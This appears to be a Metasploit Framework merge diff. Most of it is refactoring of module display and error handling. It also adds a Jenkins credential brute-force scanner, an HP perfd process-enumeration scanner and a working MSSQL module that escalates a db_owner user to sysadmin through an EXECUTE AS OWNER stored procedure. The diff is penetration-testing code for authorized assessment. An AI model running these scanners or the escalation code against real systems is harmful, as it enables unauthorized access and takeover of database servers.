Merge branch 'master' into feature/MSP-11124/msf-dbmanager-reorg
MSP-11124bug/bundler_fix
commit
9456506e3d
|
@ -0,0 +1,60 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Jenkins login scanner
|
||||
class Jenkins < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 8080
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = "/j_acegi_security_check" if self.uri.nil?
|
||||
self.method = "POST" if self.method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
if ssl
|
||||
result_opts[:service_name] = 'https'
|
||||
else
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
'uri'=>'/j_acegi_security_check',
|
||||
'vars_post'=> {
|
||||
'j_username' => credential.public,
|
||||
'j_password'=>credential.private
|
||||
}
|
||||
})
|
||||
res = cli.send_recv(req)
|
||||
if res && !res.headers['location'].include?('loginError')
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -31,7 +31,7 @@ class ReadableText
|
|||
when MODULE_AUX
|
||||
return dump_auxiliary_module(mod, indent)
|
||||
when MODULE_POST
|
||||
return dump_basic_module(mod, indent)
|
||||
return dump_post_module(mod, indent)
|
||||
else
|
||||
return dump_generic_module(mod, indent)
|
||||
end
|
||||
|
@ -84,14 +84,14 @@ class ReadableText
|
|||
tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
# Dumps an auxiliary's actions
|
||||
# Dumps a module's actions
|
||||
#
|
||||
# @param mod [Msf::Auxiliary] the auxiliary module.
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param indent [String] the indentation to use (only the length
|
||||
# matters)
|
||||
# @param h [String] the string to display as the table heading.
|
||||
# @return [String] the string form of the table.
|
||||
def self.dump_auxiliary_actions(mod, indent = '', h = nil)
|
||||
def self.dump_module_actions(mod, indent = '', h = nil)
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Header' => h,
|
||||
|
@ -108,6 +108,28 @@ class ReadableText
|
|||
tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
# Dumps the module's selected action
|
||||
#
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param indent [String] the indentation to use (only the length
|
||||
# matters)
|
||||
# @param h [String] the string to display as the table heading.
|
||||
# @return [String] the string form of the table.
|
||||
def self.dump_module_action(mod, indent = '', h = nil)
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Header' => h,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Description',
|
||||
])
|
||||
|
||||
tbl << [ mod.action.name || 'All', mod.action.description || '' ]
|
||||
|
||||
tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
# Dumps the table of payloads that are compatible with the supplied
|
||||
# exploit.
|
||||
#
|
||||
|
@ -146,6 +168,7 @@ class ReadableText
|
|||
output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n"
|
||||
output << " License: #{mod.license}\n"
|
||||
output << " Rank: #{mod.rank_to_s.capitalize}\n"
|
||||
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
|
||||
output << "\n"
|
||||
|
||||
# Authors
|
||||
|
@ -201,6 +224,7 @@ class ReadableText
|
|||
output << " Module: #{mod.fullname}\n"
|
||||
output << " License: #{mod.license}\n"
|
||||
output << " Rank: #{mod.rank_to_s.capitalize}\n"
|
||||
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
|
||||
output << "\n"
|
||||
|
||||
# Authors
|
||||
|
@ -210,6 +234,58 @@ class ReadableText
|
|||
}
|
||||
output << "\n"
|
||||
|
||||
# Actions
|
||||
if mod.action
|
||||
output << "Available actions:\n"
|
||||
output << dump_module_actions(mod, indent)
|
||||
end
|
||||
|
||||
# Options
|
||||
if (mod.options.has_options?)
|
||||
output << "Basic options:\n"
|
||||
output << dump_options(mod, indent)
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
# Description
|
||||
output << "Description:\n"
|
||||
output << word_wrap(Rex::Text.compress(mod.description))
|
||||
output << "\n"
|
||||
|
||||
# References
|
||||
output << dump_references(mod, indent)
|
||||
|
||||
return output
|
||||
end
|
||||
|
||||
# Dumps information about a post module.
|
||||
#
|
||||
# @param mod [Msf::Post] the post module.
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_post_module(mod, indent = '')
|
||||
output = "\n"
|
||||
output << " Name: #{mod.name}\n"
|
||||
output << " Module: #{mod.fullname}\n"
|
||||
output << " Platform: #{mod.platform_to_s}\n"
|
||||
output << " Arch: #{mod.arch_to_s}\n"
|
||||
output << " Rank: #{mod.rank_to_s.capitalize}\n"
|
||||
output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date
|
||||
output << "\n"
|
||||
|
||||
# Authors
|
||||
output << "Provided by:\n"
|
||||
mod.each_author { |author|
|
||||
output << indent + author.to_s + "\n"
|
||||
}
|
||||
output << "\n"
|
||||
|
||||
# Actions
|
||||
if mod.action
|
||||
output << "Available actions:\n"
|
||||
output << dump_module_actions(mod, indent)
|
||||
end
|
||||
|
||||
# Options
|
||||
if (mod.options.has_options?)
|
||||
output << "Basic options:\n"
|
||||
|
|
|
@ -689,6 +689,16 @@ module Exploit::Remote::HttpServer::HTML
|
|||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
UTF_NONE = 'none'
|
||||
UTF_7 = 'utf-7'
|
||||
UTF_7_ALL = 'utf-7-all'
|
||||
UTF_8 = 'utf-8'
|
||||
UTF_16_LE = 'utf-16le'
|
||||
UTF_16_BE = 'utf-16be'
|
||||
UTF_16_BE_MARKER = 'utf-16be-marker'
|
||||
UTF_32_LE = 'utf-32le'
|
||||
UTF_32_BE = 'utf-32be'
|
||||
|
||||
protected
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -700,7 +710,7 @@ protected
|
|||
# most browsers. as such, they are not added by default. The
|
||||
# mixin supports encoding using them, however they are not
|
||||
# listed in the Option.
|
||||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
|
||||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]),
|
||||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||
], Exploit::Remote::HttpServer::HTML)
|
||||
|
@ -894,19 +904,19 @@ protected
|
|||
}
|
||||
end
|
||||
|
||||
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
|
||||
if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode'])
|
||||
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
|
||||
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
||||
else
|
||||
# special cases
|
||||
case datastore['HTML::unicode']
|
||||
when 'utf-16be-marker'
|
||||
when UTF_16_BE_MARKER
|
||||
headers['Content-Type'] = 'text/html'
|
||||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
|
||||
when 'utf-7-all'
|
||||
headers['Content-Type'] = 'text/html; charset=utf-7'
|
||||
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
|
||||
when 'none'
|
||||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE)
|
||||
when UTF_7_ALL
|
||||
headers['Content-Type'] = "text/html; charset=#{UTF_7}"
|
||||
body = Rex::Text.to_unicode(body, UTF_7, 'all')
|
||||
when UTF_NONE
|
||||
# do nothing
|
||||
else
|
||||
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
||||
|
|
|
@ -70,7 +70,7 @@ module ReverseTcp
|
|||
#
|
||||
def setup_handler
|
||||
if datastore['Proxies'] and not datastore['ReverseAllowProxy']
|
||||
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
|
||||
raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour."
|
||||
end
|
||||
|
||||
ex = false
|
||||
|
|
|
@ -21,7 +21,7 @@ class Client
|
|||
:port => 3790,
|
||||
:uri => '/api/',
|
||||
:ssl => true,
|
||||
:ssl_version => 'SSLv3',
|
||||
:ssl_version => 'TLS1',
|
||||
:context => {}
|
||||
}.merge(info)
|
||||
|
||||
|
|
|
@ -2009,7 +2009,7 @@ class Core
|
|||
res << 'ENCODER'
|
||||
end
|
||||
|
||||
if (mod.auxiliary?)
|
||||
if mod.kind_of?(Msf::Module::HasActions)
|
||||
res << "ACTION"
|
||||
end
|
||||
|
||||
|
@ -2149,10 +2149,10 @@ class Core
|
|||
print_error("No exploit module selected.")
|
||||
end
|
||||
when "actions"
|
||||
if (mod and (mod.auxiliary? or mod.post?))
|
||||
if mod && mod.kind_of?(Msf::Module::HasActions)
|
||||
show_actions(mod)
|
||||
else
|
||||
print_error("No auxiliary module selected.")
|
||||
print_error("No module with actions selected.")
|
||||
end
|
||||
|
||||
else
|
||||
|
@ -2721,8 +2721,8 @@ class Core
|
|||
return option_values_encoders() if opt.upcase == 'StageEncoder'
|
||||
end
|
||||
|
||||
# Well-known option names specific to auxiliaries
|
||||
if (mod.auxiliary?)
|
||||
# Well-known option names specific to modules with actions
|
||||
if mod.kind_of?(Msf::Module::HasActions)
|
||||
return option_values_actions() if opt.upcase == 'ACTION'
|
||||
end
|
||||
|
||||
|
@ -2869,7 +2869,7 @@ class Core
|
|||
|
||||
|
||||
#
|
||||
# Provide valid action options for the current auxiliary module
|
||||
# Provide valid action options for the current module
|
||||
#
|
||||
def option_values_actions
|
||||
res = []
|
||||
|
@ -3146,6 +3146,12 @@ class Core
|
|||
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
|
||||
end
|
||||
|
||||
# Print the selected action
|
||||
if mod.kind_of?(Msf::Module::HasActions) && mod.action
|
||||
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
|
||||
end
|
||||
|
||||
# Uncomment this line if u want target like msf2 format
|
||||
#print("\nTarget: #{mod.target.name}\n\n")
|
||||
end
|
||||
|
@ -3202,8 +3208,8 @@ class Core
|
|||
end
|
||||
|
||||
def show_actions(mod) # :nodoc:
|
||||
mod_actions = Serializer::ReadableText.dump_auxiliary_actions(mod, ' ')
|
||||
print("\nAuxiliary actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
|
||||
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
|
||||
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
|
||||
end
|
||||
|
||||
def show_advanced_options(mod) # :nodoc:
|
||||
|
|
|
@ -188,16 +188,22 @@ module ModuleCommandDispatcher
|
|||
print_status("#{peer} - #{code[1]}")
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - Check failed: The state could not be determined.")
|
||||
msg = "#{peer} - Check failed: The state could not be determined."
|
||||
print_error(msg)
|
||||
elog("#{msg}\n#{caller.join("\n")}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error => e
|
||||
# Connection issues while running check should be handled by the module
|
||||
rescue ::RuntimeError
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue ::RuntimeError => e
|
||||
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue Msf::OptionValidateError => e
|
||||
print_error("Check failed: #{e.message}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Check failed: #{e.class} #{e}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,185 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
|
||||
'Description' => %q{
|
||||
This module can be used to escalate privileges to sysadmin if the user has
|
||||
the db_owner role in a trustworthy database owned by a sysadmin user. Once
|
||||
the user has the sysadmin role the msssql_payload module can be used to obtain
|
||||
a shell on the system.
|
||||
},
|
||||
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
# Check connection and issue initial query
|
||||
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
||||
if mssql_login_datastore
|
||||
print_good('Connected.')
|
||||
else
|
||||
print_error('Login was unsuccessful. Check your credentials.')
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Query for sysadmin status
|
||||
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
|
||||
user_status = check_sysadmin
|
||||
|
||||
# Check if user has sysadmin role
|
||||
if user_status == 1
|
||||
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
print_status("You're NOT a sysadmin, let's try to change that")
|
||||
end
|
||||
|
||||
# Check for trusted databases owned by sysadmins
|
||||
print_status("Checking for trusted databases owned by sysadmins...")
|
||||
trust_db_list = check_trust_dbs
|
||||
if trust_db_list.nil? || trust_db_list.length == 0
|
||||
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
# Display list of accessible databases to user
|
||||
print_good("#{trust_db_list.length} affected database(s) were found:")
|
||||
trust_db_list.each do |db|
|
||||
print_status(" - #{db[0]}")
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the user has the db_owner role in any of the databases
|
||||
print_status('Checking if the user has the db_owner role in any of them...')
|
||||
dbowner_status = check_db_owner(trust_db_list)
|
||||
if dbowner_status.nil?
|
||||
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Attempt to escalate to sysadmin
|
||||
print_status("Attempting to escalate in #{dbowner_status}!")
|
||||
escalate_status = escalate_privs(dbowner_status)
|
||||
if escalate_status
|
||||
# Check if escalation was successful
|
||||
user_status = check_sysadmin
|
||||
if user_status == 1
|
||||
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
|
||||
else
|
||||
print_error("Fail buckets, something went wrong.")
|
||||
end
|
||||
else
|
||||
print_error("Error while trying to escalate status")
|
||||
end
|
||||
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Checks if user is already sysadmin
|
||||
def check_sysadmin
|
||||
# Setup query to check for sysadmin
|
||||
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
|
||||
|
||||
# Run query
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Parse query results
|
||||
parse_results = result[:rows]
|
||||
status = parse_results[0][0]
|
||||
|
||||
# Return status
|
||||
return status
|
||||
end
|
||||
|
||||
# Gets trusted databases owned by sysadmins
|
||||
def check_trust_dbs
|
||||
# Setup query
|
||||
sql = "SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
|
||||
INNER JOIN sys.server_principals p ON
|
||||
p.principal_id = m.member_principal_id
|
||||
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
|
||||
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Return on success
|
||||
return result[:rows]
|
||||
end
|
||||
|
||||
# Checks if user has the db_owner role
|
||||
def check_db_owner(trust_db_list)
|
||||
# Check if the user has the db_owner role is any databases
|
||||
trust_db_list.each do |db|
|
||||
# Setup query
|
||||
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
|
||||
from [#{db[0]}].sys.database_role_members drm
|
||||
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
||||
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
||||
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
|
||||
|
||||
# Run query
|
||||
result = mssql_query(sql)
|
||||
|
||||
# Parse query results
|
||||
parse_results = result[:rows]
|
||||
if parse_results && parse_results.any?
|
||||
print_good("- db_owner on #{db[0]} found!")
|
||||
return db[0]
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def escalate_privs(dbowner_db)
|
||||
print_status("#{dbowner_db}")
|
||||
# Create the evil stored procedure WITH EXECUTE AS OWNER
|
||||
evil_sql_create = "use #{dbowner_db};
|
||||
DECLARE @myevil as varchar(max)
|
||||
set @myevil = '
|
||||
CREATE PROCEDURE sp_elevate_me
|
||||
WITH EXECUTE AS OWNER
|
||||
as
|
||||
begin
|
||||
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
|
||||
end';
|
||||
exec(@myevil);
|
||||
select 1;"
|
||||
mssql_query(evil_sql_create)
|
||||
|
||||
# Run the evil stored procedure
|
||||
evilsql_run = "use #{dbowner_db};
|
||||
DECLARE @myevil2 as varchar(max)
|
||||
set @myevil2 = 'EXEC sp_elevate_me'
|
||||
exec(@myevil2);"
|
||||
mssql_query(evilsql_run)
|
||||
|
||||
# Remove evil procedure
|
||||
evilsql_remove = "use #{dbowner_db};
|
||||
DECLARE @myevil3 as varchar(max)
|
||||
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
|
||||
exec(@myevil3);"
|
||||
mssql_query(evilsql_remove)
|
||||
|
||||
true
|
||||
end
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Unix Unshadow Utility',
|
||||
'Description' => %Q{
|
||||
This module takes a passwd and shadow file and 'unshadows'
|
||||
them and saves them as linux.hashes loot.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
|
||||
OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
|
||||
OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_error "This module is deprecated and does nothing. It will be removed in the next release!"
|
||||
end
|
||||
|
||||
end
|
|
@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'References' =>
|
||||
[
|
||||
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
|
||||
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
|
||||
['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
|
||||
['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 12 2014'))
|
||||
register_options(
|
||||
|
|
|
@ -0,0 +1,88 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# TODO: figure out what these do:
|
||||
# o: valid command, takes no args, does nothing
|
||||
# B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
|
||||
ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HP Operations Manager Perfd Environment Scanner',
|
||||
'Description' => %q{
|
||||
This module will enumerate the process list of a remote machine by abusing
|
||||
HP Operation Manager's unauthenticated 'perfd' daemon.
|
||||
},
|
||||
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
commands_help = ALLOWED_COMMANDS.join(',')
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5227),
|
||||
OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def commands
|
||||
datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
if datastore['COMMANDS']
|
||||
bad_commands = commands - ALLOWED_COMMANDS
|
||||
unless bad_commands.empty?
|
||||
fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
begin
|
||||
|
||||
connect
|
||||
banner_resp = sock.get_once
|
||||
if banner_resp && banner_resp =~ /^Welcome to the perfd server/
|
||||
banner_resp.strip!
|
||||
print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
|
||||
perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
|
||||
sock.puts("\n")
|
||||
|
||||
commands.each do |command|
|
||||
sock.puts("#{command}\n")
|
||||
Rex.sleep(1)
|
||||
command_resp = sock.get_once
|
||||
|
||||
loot_name = "HP Ops Agent perfd #{command}"
|
||||
path = store_loot(
|
||||
"hp.ops.agent.perfd.#{command}",
|
||||
'text/plain',
|
||||
target_host,
|
||||
command_resp,
|
||||
nil,
|
||||
"HP Ops Agent perfd #{command}",
|
||||
perfd_service
|
||||
)
|
||||
print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
|
||||
end
|
||||
else
|
||||
print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
|
||||
end
|
||||
disconnect
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue Timeout::Error => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -101,11 +101,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [true, "Drupal Path", "/"])
|
||||
OptString.new('TARGETURI', [true, "Drupal Path", "/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check(base_uri)
|
||||
def base_uri
|
||||
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => base_uri,
|
||||
'method' => 'GET',
|
||||
|
@ -47,31 +51,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}, 25)
|
||||
|
||||
if not res
|
||||
return false
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res and res.body =~ /\<title\>Access denied/
|
||||
# This probably means the Views Module actually isn't installed
|
||||
print_error("#{rhost} - Access denied")
|
||||
return false
|
||||
vprint_error("#{rhost} - Access denied")
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif res and res.message != 'OK' or res.body != '[ ]'
|
||||
return false
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return true
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Make sure the URIPATH begins with '/'
|
||||
datastore['PATH'] = normalize_uri(datastore['PATH'])
|
||||
|
||||
# Make sure the URIPATH ends with /
|
||||
if datastore['PATH'][-1,1] != '/'
|
||||
datastore['PATH'] = datastore['PATH'] + '/'
|
||||
end
|
||||
|
||||
enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/"
|
||||
|
||||
# Check if remote host is available or appears vulnerable
|
||||
if not check(enum_uri)
|
||||
unless check_host(ip) == Exploit::CheckCode::Appears
|
||||
print_error("#{ip} does not appear to be vulnerable, will not continue")
|
||||
return
|
||||
end
|
||||
|
@ -83,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("Iterating on letter: #{l}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => enum_uri+l,
|
||||
'uri' => base_uri+l,
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Connection' => 'Close' }
|
||||
}, 25)
|
||||
|
|
|
@ -39,8 +39,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
# There is no TARGETURI because when Glassfish is installed, the path is /
|
||||
Opt::RPORT(4848),
|
||||
